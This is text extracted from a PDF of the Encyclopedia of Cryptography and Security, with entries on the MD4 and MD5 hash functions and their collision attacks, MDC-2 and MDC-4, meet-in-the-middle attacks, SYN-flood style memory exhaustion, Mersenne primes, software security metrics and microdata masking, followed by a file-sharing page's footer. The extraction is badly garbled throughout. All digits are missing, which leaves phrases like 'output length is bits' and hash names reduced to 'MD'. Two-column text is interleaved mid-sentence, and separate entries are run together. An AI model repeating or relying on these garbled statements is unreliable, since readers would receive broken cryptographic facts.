braic coding theory. DSN Progress Report, Jet Propulsion MD hash function; MD hash function
MD-MD M
Related Concepts extra addition in the step function, and different constants
Collision Resistance; Davies-Meyer Hash Function; for every step. The step function of MD is shown in Fig. .
Hash Functions; Iterated Hash Function; Preimage The MD and MD algorithms use addition modulo
Resistance; Second Preimage Resistance and -input Boolean functions as a source of non-
linearity in F . This design allows for a fast implementation
Denition in software.
MD and MD are cryptographic hash functions designed Several hash functions were influenced by the design of
by Rivest. Several hash functions have been influenced by MD and MD, such as the SHA Family and the RIPEMD
their design. Practical attacks exist for MD and MD, with Family.
high impact on commonly used applications.
Theory Applications
MD is currently one of the most widely used hash func-
Description tions. The use of MD is less common today. In the Linux
The MD [] and MD [] algorithms are cryptographic kernel, an implementation of both MD and MD can be
Hash Functions designed by Rivest. A cryptographic found.
hash function converts a variable-length input into a fixed- To avoid storing passwords in the clear, the hash
length output. It is important that certain security require- value of the password can be stored instead. On Unix-like
ments are met, such as Preimage Resistance, Second systems (including Linux), the MD hash value of user
Preimage Resistance, and Collision Resistance. For both account passwords can be stored in /etc/shadow.
algorithms, the output length is bits. Similarly, the Apache web server can store the MD hash
MD and MD are iterated hash functions, using the of passwords for web site authentication []. On Windows,
Merkle-Damgrd mode of iteration. Messages are padded this is the default setting. NTLM (NT LAN Manager) [],
using the Merkle-Damgrd strenghtening technique and used for file and printer sharing under Windows, uses
split into -bit blocks. Each of these are processed by the MD in the first version of its protocol, and HMAC-MD
compression function. in the second version.
The MD compression function consists of three Unix-like operating systems include the mdsum tool
rounds, each further divided into steps. A mes- to check files for integrity. In the rsync utility [], used to M
sage expansion determines which -bit message words synchronize files and directories, MD was used to check
are used in every step. The step function is shown in Fig. . files for modification. Since version .., MD is used
Afterwards, a feedforward is applied to obtain a instead.
Davies-Meyer Hash Function. For digital signatures, not the message itself, but the
MD was designed as a successor to MD, with a hash value of the message is signed. Digital signatures can
more conservative design from a security point of view. be used to generate certificates for HTTPS []. HTTPS
The most significant changes include a fourth round, an is used to secure web sites, for example, for banking or
e-commerce applications. MD is currently still used in
existing certificates, but is not used anymore for newly
At Bt Ct Dt
issued certificates [].
Mt
Fj Attacks
Kt Attacks on the Short Output Length
MD and MD have an output length of bits.
<<< St According to the birthday paradox, a collision can be
found after about compression function evaluations.
As Yuval [] showed, an attacker can choose both messages
of this collision to be meaningful (instead of random-
At+1 Bt+1 Ct+1 Dt+1 looking).
Van Oorschot and Wiener [] estimated that such a
MD-MD. Fig. The step function of MD and MD. The addi- machine could be built with $ million in , and obtain
tion of Bt (dashed line) does not occur in MD two meaningful messages with the same MD hash value
M MD-MD
in days. In , a similar machine would cost only a Open Problems

few , dollars in off-the-shelf FPGAs []. Fast progress is being made in the cryptanalysis of MD
and MD, as new techniques are being developed and
existing methods are optimized. The improvement of the
Collision Attacks attacks on MD and MD can therefore be seen as an open
Dobbertin showed that collisions for MD can be obtained problem.
with a complexity of equivalent compression function
evaluations []. This attack can be carried out in seconds
on a PC. Wang et al. later presented an improved attack Recommended Reading
. Rivest RL () The MD Message Digest Algorithm. In:
with a complexity of []. Naito et al. further improved
Menezes A, Vanstone SA (eds) Advances in cryptology
the attack complexity to less than compression function CRYPTO : proceedings, Santa Barbara, August .
evaluations []. Lecture notes in computer science, vol . Springer, New York,
For MD, Den Boer and Bosselaers found how a pp
pseudo-collision can be obtained in []. Although . Rivest RL () The MD Message-Digest Algorithm. RFC
(April )
they could not find a collision for the MD hash function,
. Franks J, Hallam-Baker P, Hostetler J, Lawrence S, Leach P,
their result shows that the security proof of the Merkle- Luotonen A, Stewart L () HTTP Authentication: Basic and
Damgrd mode of iteration cannot be applied to MD. Digest Access Authentication. RFC (Draft Standard) (June
Wang et al. were the first to find an actual collision for )
MD []. Improvements by Klima and Stevens bring the . Microsoft Corporation: NTLM v and NTLM v Messages.
http://msdn.microsoft.com/en-us /library /cc(PROT.).
complexity of a collision search down to a few seconds on
aspx ()
a standard PC. . Davison W () rsync. http://samba.anu.edu.au/rsync/
For POP [], the collision attacks on MD can be . Rescorla E () HTTP Over TLS. RFC (Informational)
used to mount a password recovery attack. Together with (May )
IMAP [], POP [] is one of the most used protocols for . Hoffman S () Verisign Discontinues Flawed MD Cer-
tificates. http://www.crn.com/security/ (December
retrieving e-mail.
)
Stevens et al. extended these results to chosen-prefix . Yuval G () How to Swindle Rabin. Cryptologia :
attacks []. In this scenario, the attacker can choose two . van Oorschot PC, Wiener MJ () Parallel collision search
arbitrary messages, and append a few extra blocks to with application to hash functions and discrete logarithms.
them to make their hash values collide. They showed how In: nd ACM Conference on Computer and Communica-
tions Security, Fairfax, November . ACM, New York,
this can be used to construct colliding X. certificates.
pp
A further improvement of their attack allowed them to . Smart N et al () ECRYPT II yearly report on Algorithms and
obtain a rogue CA certificate []. This certificate allows an Keysizes (). Technical report, ECRYPT II Network of
attacker to impersonate any website secured by HTTPS []. Excellence in Cryptography
. Dobbertin H () Cryptanalysis of MD. In: Gollmann D (ed)
FSE: proceedings, Cambridge, February . Lecture
Preimage Attacks notes in computer science, vol . Springer, Berlin, pp
. Wang X, Lai X, Feng D, Chen H, Yu X () Cryptanalysis of the
Leurent showed how a preimage of MD can be con-
hash functions MD and RIPEMD. In: Cramer R (ed) Advances
structed with a complexity of []. For MD, Sasaki in cryptology EUROCRYPT : proceedings, Aarhus,
found a preimage attack with a complexity of []. May . Lecture notes in computer science, vol . Springer,
Berlin, pp
. Naito Y, Sasaki Y, Kunihiro N, Ohta K () Improved collision
Attacks on Concatenated Combiners attack on MD with probability almost . In: Won D, Kim S (eds)
Very recently, attacks were proposed by Mendel et al. [] ICISC : proceedings, Seoul, December . Lecture
when the message is hashed using both MD and and
. den Boer B, Bosselaers A () Collisions for the compression
another hash function, and the outputs are concatenated. function of MD. In: Advances in cryptology EUROCRYPT
Such combiners are designed to hedge against nongeneric : proceedings, Lofthus, May . Lecture notes in
attacks on particular hash functions. In SSL ./TLS . computer science, vol . Springer, Berlin, pp
and TLS . [, ], the combiner MDSHA- is used. . Wang X, Yu H () How to break MD and other hash func-
tions. In: Cramer R (ed) Advances in cryptology EUROCRYPT
They estimate that an attack on a concatenated com-
: proceedings, Aarhus, May . Lecture notes in
biner using MD would have a complexity of about , computer science, vol . Springer, Berlin, pp
if the collision attack on the other hash function is fast . Leurent G () Message freedom in MD and MD collisions:
enough. application to APOP. In: Biryukov A (ed) FSE: proceedings,
MDC- and MDC- M
Luxembourg, March . Lecture notes in computer Denition

science, vol . Springer, Berlin, pp MDC- and MDC- are constructions for Hash Func-
. Crispin M () Internet Message Access Protocol Version
tions based on a Block Cipher, where the length in bits of
rev. RFC (Proposed Standard) (March ) Updated by
RFCs , , , ,
the hash result is twice the block length of the block cipher.
. Myers J, Rose M (): Post Office Protocol Version . RFC
(Standard) (May ) Updated by RFCs , Background
. Stevens M, Lenstra AK, de Weger B () Chosen-prefix MDC- and MDC- have been described in a patent by
collisions for MD and colliding X. Certificates for dif-
Brachtl et al. [] that was filed in and issued in ;
ferent identities. In: Naor M (ed) Advances in cryptology
EUROCRYPT : proceedings, Barcelona, May . they are also known as the Meyer-Schilling hash func-
Lecture notes in computer science, vol . Springer, Berlin, tions after the authors of the first paper describing these
pp schemes []. MDC- is included in ISO/IEC - []
. Sotirov A, Stevens M, Appelbaum J, Lenstra A, Molnar DA, and used in the financial and health sectors.
Osvik DA, de Weger B () MD considered harmful today:
creating a rogue CA certificate (December ) th Chaos
Communications Congress, Berlin, Germany Theory
. Leurent G () MD is not one-way. In: Nyberg K (ed) FSE: MDC- and MDC- are unkeyed cryptographic hash
proceedings, Lausanne, February . Lecture notes in functions which may have the following properties:
preimage resistance, second preimage resistance, and col-
. Sasaki Y, Aoki K () Finding preimages in full MD faster
than exhaustive search. In: Joux A (ed) Advances in cryptol- lision resistance; these properties may or may not be
ogy EUROCRYPT : proceedings, Cologne, April achieved depending on the properties of the underlying
. Lecture notes in computer science, vol . Springer, block cipher.
Berlin, pp In the following, the block length and key length of
. Mendel F, Rechberger C, Schlffer M () MD is weaker
the block cipher will be denoted with n and k, respectively.
than weak: attacks on concatenated combiners. In: Matsui M
(ed) Advances in cryptology ASIACRYPT : proceedings, The encryption with the block cipher E using the key K will
Tokyo, December . Lecture notes in computer science, be denoted with EK (.) and denotes the concatenation of
vol . Springer, Berlin, pp strings.
. Dierks T, Allen C () The TLS Protocol Version .. RFC MDC- is an iterated hash function with a compression
(Proposed Standard) (January ) Obsoleted by RFC ,
function that maps k + n bits to n bits. It requires two M
updated by RFC
. Dierks T, Rescorla E () The Transport Layer Security (TLS) encryptions to hash an n-bit block, hence its rate is /.
Protocol Version .. RFC (Proposed Standard) (April
) Obsoleted by RFC , updated by RFCs , , Ti = Eu(H ) (Xi ) Xi = LTi RTi
i
. Cramer R (ed) () Proc. Advances in cryptology EURO-
Ti = Ev(H ) (Xi ) Xi = LTi RTi
CRYPT : th Annual International Conference on the i
Theory and Applications of Cryptographic Techniques, Aarhus,

Hi = LTi RTi
May . Lecture notes in computer science, vol .
Springer, Berlin Hi = LTi RTi .
The variables H and H are initialized with the values

IV and IV , respectively, and the hash result is equal to
MD Hash Function the concatenation of Ht and Ht . The functions u, v
map the ciphertext space to the key space and need to sat-
MD-MD isfy the condition u(IV ) v(IV ). For DES, these map-
pings from to bits drop the parity bits in every byte
and fix the second and third key bits to and , respec-
MDC- and MDC- tively (to preclude attacks based on the complementation
property and based on weak keys and semi-weak keys). By
Bart Preneel iterating this compression function in combination with
Department of Electrical Engineering-ESAT/COSIC, MD-strengthening (Hash Functions) one can construct
Katholieke Universiteit Leuven and IBBT, a hash function based on this compression function.
Leuven-Heverlee, Belgium For k = n, the best known (second) preimage attacks
have a time/space product approximately equal to n , with
Related Concepts as minimal time complexity (n + )n and space com-
Block Ciphers; Hash Functions plexity n+ []; an earlier result of [] lies on this curve
M Measurement Models of Software Security
with a time complexity n/ and space complexity n/ . . ISO/IEC Information technology Security techniques
The complexity of the generic collision attack (time n , Hash-functions. Part : General, , Part : Hash-functions
using an n-bit block cipher algorithm, , Part : Dedicated
negligible space) can be reduced with a small factor (about
hash-functions, . Part : Hash-functions using modular
log n/n) at the cost of a space requirement equal to the arithmetic,
time complexity []. Note that the compression function . Knudsen L, Preneel B () Enhancing the security of hash func-
of MDC- is rather weak: Preimage and collision attacks tions using non-binary error correcting codes. IEEE Trans Inf
on the compression function require at most n and n/ Theory ():
. Knudsen LR, Mendel F, Rechberger C, Thomsen SS ()
encryptions. Steinberger [] has proved a lower bound of
Cryptanalysis of MDC-. In: Joux A (ed) Advances in cryptol-
n/ for collisions for the hash function in the ideal cipher ogy EUROCRYPT: proceedings, Cologne, April .
model. Lecture notes in computer science, vol . Springer, Berlin,
For DES, collisions can be found in time with neg- pp
ligible memory, or time and memory . ; this is not an . Meyer CH, Schilling M () Secure program load with manipu-
lation detection code. In: Proceedings of SECURICOM , Paris,
acceptable security level in . For AES, collisions can
pp
be found in time with negligible memory, or time . Lai X, Massey JL () Hash functions based on block ciphers.
and memory . ; this should be compared to the lower In: Rueppel RA (ed) Advances in cryptology EUROCRYPT :
bound of . proceedings, Balatonfred, May . Lecture notes in
The compression function of MDC- consists of the computer science, vol . Springer, Berlin, pp
. Preneel B () Analysis and design of cryptographic hash
concatenation of two MDC- steps, where the plaintexts in
functions. Doctoral Dissertation, Katholieke Universiteit Leuven
the second step are equal to Hi and Hi . MDC- requires . Preneel B, Govaerts R, Vandewalle J () Hash functions
four encryptions to hash an n-bit block, hence its rate is based on block ciphers: a synthetic approach. In: Stinson D (ed)
/. For k = n, the best known preimage attack for MDC- Advances in cryptology CRYPTO : proceedings, Santa Bar-
requires n/ operations. This shows that MDC- is prob- bara, August . Lecture notes in computer science, vol
ably more secure than MDC- against preimage attacks.
. Steinberger JP () The Collision Intractability of MDC- in
However, finding a collision for MDC- itself requires only the Ideal-Cipher Model. In: Naor M (ed) Advances in cryptol-
n+ encryptions. The best known attacks on the compres- ogy EUROCRYPT : proceedings, Barcelona, May .
sion function of MDC- require n/ encryptions for a Lecture notes in computer science, vol . Springer, Berlin,
(nd) preimage and n/ encryptions for a collision [, ]. pp
So far no lower bounds have been obtained on the collision
or preimage resistance of MDC-.
It is conjectured that both MDC- and MDC- achieve
an acceptable security level (in ) against (nd) preim- Measurement Models of Software
age attacks for block ciphers with a block length and key Security
length of bits or more. It is also conjectured that both
functions achieve an acceptable security level (in ) Metrics of Software Security
against collision attacks for block ciphers with a block
length and key length of bits or more (e.g., AES, Camel-
lia, CAST-, MARS, RC, TWOFISH, and SERPENT).
It is also important to note that a block cipher may Meet-in-the-Middle Attack
have properties which pose no problem at all when they are
used only for encryption, but which may result in MDC- Alex Biryukov
and/or MDC- to be insecure [, ]. Any deviation from FDEF, Campus Limpertsberg, University of Luxembourg,
random behavior of the encryption steps or of the key Luxembourg
schedule could result in security weaknesses (for example,
it would not be advisable to use DES-X due to the absence
of a key schedule for part of the key). Related Concepts
Block Ciphers; Hash Functions; Multiple Encryption
Recommended Reading
Denition
. Brachtl BO, Coppersmith D, Hyden MM, Matyas SM, Meyer
CH, Oseas J, Pilpel S, Schilling M () Data authentication
Meet-in-the-middle is a classical technique of
using modification detection codes based on a public one way cryptanalysis which applies to many constructions. The
encryption function. US Patent ,,, Mar idea is that the attacker constructs patterns that propagate
Memory and State Exhaustion Denial of Service M
from both ends to the middle of the cipher, in some cases Denition
by partial key-guessing. If the events do not match in the Memory and state exhaustion denial of service (DoS) is one
middle, the key-guess was wrong and may be discarded. type of DoS in which an attacker or a group of attackers
Such attack has been applied to seven-round DES (Data deplete the memory resources of a computing system to
Encryption Standard) [], and to structural cryptanaly- prevent it from providing services to legitimate users.
sis of multiple-encryption (e.g., two-key triple encryption)
[, ]. Note that the technique can be mounted in memory- Background
less mode [, ] using collision finding algorithms of Floyd Virgil Gligor discussed the DoS problem in []. Bill
or Nivasch. Cheswick and Steve Bellovin first discovered the weakness
A miss-in-the-middle attack may also be seen as a of the Transmission Control Protocol (TCP) three-way
variant of the meet-in-the-middle technique in which the handshaking process [] that enables the SYN flooding
events in the middle should not match, and the keys that attack, the most famous memory and state exhaustion DoS.
suggest a match in the middle are filtered as wrong keys.
Recently, this technique has been used to find pre-
images for hash functions, including sponge functions Theory
based on permutations (P-sponges) and hashes based on In a memory and state exhaustion DoS attack, the attacker
Davies-Meyer mode. Meet-in-the-middle attack is an exploits the weakness within a systems memory alloca-
important component of the rebound attack []. tion mechanism to occupy a significant amount of mem-
ory or state resources at a relatively small cost. The most
Recommended Reading famous example of such an attack is TCP SYN Flooding
. Chaum D, Evertse J-H () Cryptanalysis of DES with a reduced
in which the attacker continuously sends TCP connection
number of rounds; sequence of linear factors in block ciphers. In: requests to a server without completing a single connec-
Williams HC (ed) Advances in cryptology CRYPTO. Lecture tion to deplete the servers half-open connection resources,
notes in computer science, vol . Springer, Berlin, pp as illustrated in Fig. .
. Markle RC, Hellman ME () On the security of multiple
The attack can also be launched locally, on a multiuser
encryption. Commun ACM ,
. van Oorschot PC, Wiener MJ () A known plaintext attack, on
system. For example, Moscibroda and Mutlu [] show that
two-key triple encryption. In: Dawgard I (ed) Advances in cryp- a memory performance attack can happen to a multi-core
tology EUROCRYPT. Lecture notes in computer science, system by exploiting its design weakness. A multi-core sys- M
vol . Springer, Berlin, pp tem has at least two cores (processors) integrated onto
. Morita H, Ohta K, Miyaguchi S () A switching closure test
the same chip. These cores share the Dynamic Random
to analyze cryptosystems. In: Feigenbaum J (ed) CRYPTO .
LNCS, vol . Springer, Heidelberg, pp
Access Memory (DRAM) memory system that uses first-
. Khovratovich D, Nikolic I, Weinmann R-P () Meet-in-the- ready first-come-first-serve (FR-FCFS) strategy to serve
middle attacks on SHA- candidates. FSE , pp the requests from different threads []. This strategy is
. Mendel F, Rechberger C, Schlffer M, Thomsen SS () The designed to maximize memory bandwidth, but also intro-
rebound attack: cryptanalysis of reduced whirlpool and grstl.
duces unfairness in memory use that can be exploited by
FSE , pp
a thread aggressively requesting DRAM resources. Such
a thread can deplete the request buffers of the memory
system with its requests, and as a result, prevents the sys-
tem from serving other threads. The researchers found
Memory and State Exhaustion that the attack thread can slow down a victim thread by
Denial of Service . times without significantly reducing its own perfor-
XiaoFeng Wang mance.
School of Informatics and Computing, Indiana University
at Bloomington, Bloomington, IN, USA Applications
Memory and state exhaustion DoS is traditionally consid-
Synonyms ered to be a threat to network connections. More recent
Memory and state exhaustion DoS studies, however, show that the attack can actually be
applied widely: besides the memory performance attack
Related Concepts discussed above [], such a DoS threat also endangers
Computational Puzzles; Protocol Cookies; SYN Cookie Voice over Internet Protocol (VoIP) infrastructures [],
Defense; SYN Flood Attack wireless sensor networks [] and other computing systems.
M Memory and State Exhaustion DoS
Client Server Attacker Server

Half-open Half-open
SYN connection SYN connection
resources resources
SYN-ACK
SYN-ACK
ACK
SYN
Legitimate
client
Memory and State Exhaustion Denial of Service. Fig. TCP SYN ooding attack
Defense against memory and state exhaustion DoS

relies on reducing the state information stored on the Memory and State Exhaustion
server [], fairly allocating memory resources [] and DoS
pricing service requestors through proof of work [,
]. For example, SYN Cookies [] remove the queue Memory and State Exhaustion Denial of Service
for half-open connections and instead save the state
information to the SYN-ACK packet through cryp-
tographic means. As another example, client puzzle
approaches [, ] force clients to commit a certain amount Memory Overow
of computation resources to solve puzzles before the
server commits its memory resources to provide them Buffer Overflow Attacks
services.
Recommended Reading Merkle-Hash-Trees Signatures

. Gligor VD () A note on the denial-of-service problem. In
Proceedings of the IEEE Symposium on Security and Privacy.
Oakland, California, p Hash-Based Signatures
. Bennahum, D. Panix attack. In MEME ., October , http://
memex.org/meme- .html
. Moscibroda T, Mutlu O () Memory performance attacks:
denial of memory service in multi-core systems. In Proceedings
of the th USENIX Security Symposium. Boston, Massachusetts, Mersenne Prime
pp
. Sislaem D, Kuthan J, Ehlert S () Denial of service attacks
targeting a SIP VoIP infrastructure attack scenarios and preven-
Jerome A. Solinas
tion mechanisms. In IEEE Networks Magazine, (), IEEE Press National Security Agency, Ft Meade, MD, USA
. Deng J, Han R, Mishra S () Defending against path-based
DoS attacks in wireless sensor networks. In: The Third ACM
Workshop on Security of Ad Hoc and Sensor Networks. Alexan-
dria, Virginia, pp
. Bernstein DJ. SYN cookies. In: http://cr.yp.to/syncookies.html
Denition
. Juels A, Brainard J () Client puzzle: a cryptographic defense A Mersenne number is a number of the form Mn = n ,
against connection depletion attacks. In Kent S (ed) Proceed- where n is a positive integer. If Mn is also prime, then
ings of the th Annual Network and Distributed System Security it is said to be a Mersenne prime. The number Mn can
Symposium. Boston, Massachusetts, pp
only be prime if n is prime. Some authors reserve the
. Wang X, Reiter M () Defending against denial-of-service
attacks with puzzle auctions. In Proceedings of the IEEE
term Mersenne number for the numbers Mp for p prime.
Symposium on Security and Privacy. Oakland, California, The Mersenne primes Mp for p occur for
pp p = , , , , and .
Metrics of Software Security M
Background
Mersenne primes have been a topic of interest in num- Message Authentication
ber theory since ancient times. They appear in the theory Algorithm
of linear feedback shift registers (LFSR). If Mp is prime,
then any binary LFSR of length p with irreducible feedback MAA
polynomial and nonzero initial state generates a maximal-
length shift register sequence. Equivalently, every nonzero
element of the finite field of p elements is a generator for
the entire group of nonzero elements.
Metrics of Software Security
Guido Salvaneschi , Paolo Salvaneschi
Applications
Department of Electronic and Information, Polytechnic
Mersenne primes are also of interest in public-key cryptog-
of Milan, Milano, Italy
raphy. In public-key settings such as elliptic curve cryptog-
Department of Information Technology and
raphy, the prime modulus p (modular arithmetic) can
Mathematical Methods, University of Bergamo,
be chosen to optimize the implementation of the arith-
Dalmine BG, Italy
metic operations in the implementation of the cryptogra-
phy. Mersenne primes provide a particularly good choice
because modular reduction can be performed very quickly. Synonyms
One typically wishes to reduce modulo Mp a p-bit inte- Measurement models of software security
ger n (e.g., as a step in modular multiplication). In general,
modular reduction requires an integer division. However, Related Concepts
in the special case of reduction modulo Mp , one has Fault Trees; Patterns for Software Security
p
(modMp ). Denition
Thus one can reduce n by writing Measuring software security requires to identify measur-
able properties of a software artifact and to build models
n = a p + b, that can relate the measures to a qualitative or quantitative
value of the property security.
M
where a and b are each positive and less than Mp . Then
n a + b(modMp ), Background
Security measurement of software products is an instance
so that of the more general issue of measuring nonfunctional
a+b if a + b < Mp, properties of software (the so-called software qualities).
n mod Mp = { This includes both the need to identify measurable
a + b + p otherwise.
properties of a software artifact and to build models that
Thus reduction modulo a Mersenne prime requires an can relate the measures to a qualitative or quantitative
integer addition, as opposed to an integer division for evaluation of the more abstract property security.
modular reduction in the general case. There are two This requires, in general, a variety of measures to
drawbacks to this method of modular reduction: be integrated (through models) into the more abstract
property security. The reason is that different aspects
Finding the integers a and b is easiest when p is a mul-
concerning different development phases (for instance
tiple of word size of the machine, since then there is
design and programming) may affect the software quality
no actual shifting of bits needed to align a and b for
property.
the modular addition. But word sizes are in practice
These models can be useful for different purposes,
powers of two, whereas p must be an odd prime.
ranging from evaluation (assessing the security for accept-
The Mersenne primes are so rare, with none between
ing or comparing software products) to design support
M and M , that usually there will be none of the
(explaining the reasons for low security of a software prod-
desired magnitude.
uct and provide advice for improvement).
For these reasons, cryptographers tend not to use The underlying assumption is that security is not
Mersenne primes, preferring similar moduli such as a Boolean property. Like other properties of engineer-
pseudo-Mersenne primes and generalized Mersenne primes. ing artifacts, software security may have increasing levels
M Metrics of Software Security
requiring both an increasing cost to be delivered and an Defense Patterns, Attack Patterns, and
increasing effort to be broken. Related Measurements
Finally, measuring software security is a very gen- An evolution of qualitative models toward a richer model
eral task including the measurement of the protection of the software artifact exploits the available knowledge on
against many types of attacks delivered for reaching dif- defense and attack patterns [, ].
ferent goals on different software products. This sug- Known attacks for various types of software appli-
gests the need of specialized metrics and models for cations have been classified and described through pat-
security. terns. It is also known that the success of attacks to real
software systems depends on poorly designed and imple-
mented code. Security patterns implementing techniques
Theory
for resisting to attacks have been described, for example,
Measurements and Qualitative Models to protect web applications and a large body of knowledge
A basic approach for software security measurement is of this type exists for software applications of various types
the collection of measures from the software product and []. For instance, SQL Injection is a well-known attack
the integration of them into a global merit value in a qual- pattern for web applications with a database backend.
itative space []. An example of a measure for a web appli- A defense pattern for this attack describes the techniques
cation may be Percent of Validated Input. The measure required for validating input parameters that interact with
is computed through the ratio V/T where T is the count a database through SQL queries. Measurable features like
of the amount of input forms or interfaces the application number of parameters not validated against SQL injec-
exposes and V is the number of these interfaces that use tion may be associated to the defense pattern.
input validation mechanisms. The ratio V/T makes a state- A first method for exploiting security patterns is link-
ment about the Web applications vulnerability to exploits ing measures to defense patterns. The remaining part of
from invalid input. Other measures may be related to other the model is similar to qualitative models. The measures
types of vulnerabilities. are processed through an aggregation algorithm to com-
The application (at design and program level) is pute an overall security indicator. The advantage is that
inspected (using tools or manually) and the derived the measures are related to structural elements of the soft-
measures are aggregated through rules or functions ware product and this provides stronger suggestions for
(for instance, thresholds and mean functions) to pro- the designer. A poor security indicator may be explained
vide an overall qualitative status report on the application as a poor use of defense patterns and the model may help
security. in comparing design alternatives and choosing the best
These models are specific applications for the security candidate.
evaluation of the so-called quality models such as the ISO
model. They essentially collect measures of security- Attack Trees
related attributes and generate a diagnosis (the security An additional improvement can be obtained taking into
level of the application) through heuristic relationships. account possible attack patterns (in case decomposed into
It is common that, even if the elementary measures are sub-attacks steps). This requires modelling a specific char-
quantitative, the values are finally mapped into a quali- acteristic of security. A software application (for instance,
tative space. This procedure is typically composed of the a web application) may be attacked for different purposes,
following items: for instance Denial of service or Obtain valid creden-
tial. For each goal, many different attacks are possible,
A set of elementary measures to be taken on the soft-
each defendable by recurring to defense patterns. What
ware product
is important is the weakest path for reaching the attack
A tree of attributes and sub-attributes linking low-level
purpose through the attack patterns. This behavior is mod-
measures to high-level abstractions
elled through attack trees []. An attack tree is an AND/OR
An algorithm for generating values of high-level
graph modelling various attacks, the activities composing
attributes from measures
attacks and their logical relations. If the leaves of the attack
This approach does not use explicit models of attacks tree are associated to defense patterns and related mea-
(patterns of how attacks are conducted) and defenses sures, it is possible to use the graph for computing the value
(patterns of the software product structures resisting to the of the root node, which represents the overall security
attacks), as well as relations between attack and defense value. The leaf values are propagated upward using the rule
patterns. OR nodes take the value of their cheapest child; AND
Metrics of Software Security M
nodes take the value of the sum of their children. This by examining the implemented/missing security patterns
makes possible to apply to the tree the minimum path set of the design. For each factor, the values (in a qualita-
analysis taken from fault tree analysis in order to determine tive scale) for likelihood, exposure, and consequences are
the areas of greatest risk. The security value is the value added and the root qualitative value is calculated through
associated to the minimum path. fuzzy computation. The qualitative values assigned to the
model are based on the experimental analysis of existing
Toward Quantitative Predictive Models systems as well as on subjective judgment.
Specific models (for specific classes of software products) A different approach tries to apply the dependabil-
have been developed through the integration of the vari- ity concepts to the software security evaluation []. This
ous components of the existing deterministic approaches: type of models is based on calculating security measures
attack patterns, attack trees, defense patterns and associ- employing Markov models. For instance, discrete time
ated measures []. Markov chains are used to model security risks based on
These models also introduce a proposed quantification the vulnerability knowledge of its components.
of security. The metric is the estimated time-to-break: the
estimated time in minutes required to break the existing Applications
defenses. Security measures and models may be used for different
A model is composed of an attack tree linking possible purposes ranging from the evaluation of existing product
attacks patterns and sub-attacks. The tree is augmented, at to design support.
the leaf nodes, with cost-to-break functions. These func- Different measuring and modelling approaches can
tions implement flow diagrams representing the experi- provide different levels of support to these tasks.
mental knowledge (tuned through experiments) of how to Qualitative models based on a tree of attributes and
conduct an attack or a sub-attack. They compute the time measures may be used as a first level tool to rank the
required to successfully execute the attacks and are influ- security of the application and reject them or suggest a
enced by the values of the defense pattern attributes. They significant improvement.
are also influenced by the values of context parameters (the Even this simple type of models may be useful not only
type of attacker and the resources available to the attacker). for evaluation purposes, but also for suggesting improve-
Using suitable tools or manual inspections, it is possi- ments. This can be done generating an explanation derived
ble to measure the attributes of the defense patterns and from the analysis of the contribution of each measure to
M
feed the model. The security strength metric is computed the global qualitative value. Following the computation
propagating, through the attack tree, the output values through the tree, from the leaves to the root, it is possi-
of the experimental cost-to-break functions. The resulting ble to highlight the most important contributions to a low
value (the value computed through the weakest path) is value of the root. This path can be used as a constructive
the estimated time required to break the existing defenses, explanation for a poor value of security.
given a tree of attacks and an implemented set of defenses More sophisticated models can provide better support
and their attributes. for the design. This is of course possible if the models have
been reasonably tuned through a significant experimental
Probability-Based and Reliability-Like activity.
Models The quantitative predictive type of models presented
What has been presented above is based on a deterministic above may be also used for managing what-if scenarios.
approach. Another approach tries to exploit the same type Given a set of delivered defenses, it is possible to predict
of measures and concepts using probabilities []. the security value and simulate the effects of a defense
A proposed model describes a decision tree for improvement. For instance, it could be possible to discover
quantifying risks. This model depends on probabilistic that improving a defense could not be relevant due to the
descriptions of both vulnerabilities and countermeasures existence of another weaker path through the attack tree.
to known threats. Other proposals explicitly model the The what-if experiments can be a tool for a cost-benefit
attacks and use the attack trees but associate probabili- analysis.
ties of occurrence to the leaves, computing a probability
through the graph. Open Problems and Future Directions
Another proposal links a set of attacks and the related The problem of assessing the level of security of a software
defense patterns. For each attack, a separate fault tree is system is still largely open. Two main areas of improvement
defined. The factors of the fault trees are added gradually may be identified.
M Microdata Anonymization Techniques
The first area is the development of measures and mod-

els that are more robust and are able to produce quantita- Microdata Anonymization
tive predictions of software security. This will allow moving Techniques
from the qualitative evaluations and their limited engineer-
ing support. Improving this area should require both bet- Microdata Masking Techniques
ter measures and models and significant experimentation
(as well as a shared definition of measuring units for
security).
A second area is the specialization of measures and Microdata Disclosure Limitation
models for specific types of software artifacts. The phrase
measuring software security is too vague for hosting an Microdata Protection
engineering content. Measuring the security of a software
copy protection mechanism or measuring the security of a
web application against attacks aimed at a specific goal are Microdata Disclosure Protection
different problems. It is foreseeable that the software secu-
rity measurement will move, like more mature engineering
Microdata Protection
fields, toward more specialized approaches.
Recommended Reading Microdata Masking Techniques

. Nichols EA, Peterson G () A metrics framework to
drive application security improvement. IEEE Secur Priv ():
Josep Domingo-Ferrer

. Heyman T, Scandariato R, Huygens C, Joosen W () Using Department of Computer Engineering and Mathematics,
security patterns to combine security metrics. In: Proceedings of Universitat Rovira i Virgili, Tarragona, Catalonia
the third international conference on availability, security and
reliability, ARES, Barcelona, Spain. IEEE Computer Society, pp

. Barnum S, McGraw G () Knowledge for software security. Synonyms
IEEE Secur Priv (): Microdata anonymization techniques; Microdata statisti-
. Owasp Top . http://www.owasp.org/index.php/Top__ cal disclosure control
. Hoglund G, McGraw G () Exploiting software: how to break
code. Addison Wesley, Boston
. Andrews M, Whittacker JA () How to break web software. Related Concepts
Addison-Wesley, Upper Saddle River k-Anonymity; Microdata Protection; Privacy-
. Schneier B () Attack trees: modeling security threats. Preserving Data Mining; Statistical Disclosure Control;
Dr. Dobbs J Softw Tools ():
Synthetic Data Generation
. Piazzalunga U, Salvaneschi P, Balducci F, Jacomuzzi P,
Moroncelli C () Security strength measurement for dongle
protected software. IEEE Secur Priv (): Denition
. Sahinoglu M () Security meter: a practical decision-tree
Inference control in databases, also known as Statistical
model to quantify risk. IEEE Secur Priv ():
. Grunske L, Joyce D (

Anne Canteaut Prof. Auth., Henk PDF

Diunggah oleh

Informasi Dokumen

Judul Asli

Hak Cipta

Format Tersedia

Bagikan dokumen Ini

Bagikan atau Tanam Dokumen

Opsi Berbagi

Apakah menurut Anda dokumen ini bermanfaat?

Apakah konten ini tidak pantas?

Hak Cipta:

Format Tersedia

Anne Canteaut Prof. Auth., Henk PDF

Diunggah oleh

Hak Cipta:

Format Tersedia

Encyclopedia of Cryptography and Security

Henk C.A. van Tilborg Sushil Jajodia (Eds.)

With Figures and Tables

ISBN ---- e-ISBN ----

Library of Congress Control Number:

Springer Science+Business Media, LLC ,

Printed on acid-free paper

Springer is part of Springer Science+Business Media (www.springer.com)

